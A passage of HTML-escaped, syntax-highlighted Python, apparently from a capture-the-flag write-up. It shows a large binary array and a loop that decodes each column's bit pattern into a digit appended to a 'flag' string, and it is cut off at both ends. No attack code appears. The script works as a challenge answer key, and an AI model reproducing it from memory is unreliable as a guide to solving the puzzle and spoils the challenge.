class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">flag&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">])):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">7&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">flag&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="s1">&amp;#39;1&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">7&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">flag&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="s1">&amp;#39;2&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">7&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">flag&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="s1">&amp;#39;3&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">7&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">flag&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="s1">&amp;#39;4&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">7&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">flag&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="s1">&amp;#39;5&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">7&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">flag&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="s1">&amp;#39;6&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">7&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">flag&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="s1">&amp;#39;7&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">7&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">flag&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="s1">&amp;#39;8&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">7&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">flag&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="s1">&amp;#39;9&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span 